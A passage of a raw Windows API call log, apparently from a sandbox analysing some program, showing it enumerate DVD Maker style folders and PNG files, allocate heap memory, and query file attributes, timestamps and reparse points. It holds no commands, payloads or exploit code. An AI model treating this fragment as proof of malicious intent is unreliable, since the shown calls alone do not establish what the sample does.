0xfb8840 [0067.073] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0067.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0067.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6328 [0067.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc7080 [0067.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.093] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0067.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6348 [0067.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc7188 [0067.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.093] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.093] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.093] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6368 [0067.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc7290 [0067.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.094] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6388 [0067.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc7398 [0067.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.094] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc63a8 [0067.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc74a0 [0067.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.094] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.094] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.094] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc63c8 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc75a8 [0067.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.095] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc63e8 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc76b0 [0067.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.095] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6408 [0067.095] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc77b8 [0067.095] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.096] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0067.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6428 [0067.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0067.096] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0067.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.096] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0067.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.096] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0067.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.096] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 0 [0067.096] GetLastError () returned 0x12 [0067.096] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0067.096] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0067.096] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.096] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0067.096] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0067.096] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.096] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.096] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.097] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.097] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.097] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.097] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0067.097] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0067.097] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0067.097] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0067.097] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 0 [0067.097] GetLastError () returned 0x12 [0067.097] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.097] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="")) returned 1 [0067.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.098] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.098] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0067.098] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0067.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfcb318 [0067.098] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfcb318, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfcb318, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0067.098] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfcb318) returned 1 [0067.098] NtClose (Handle=0x148) returned 0x0 [0067.098] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.098] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0067.172] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.172] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 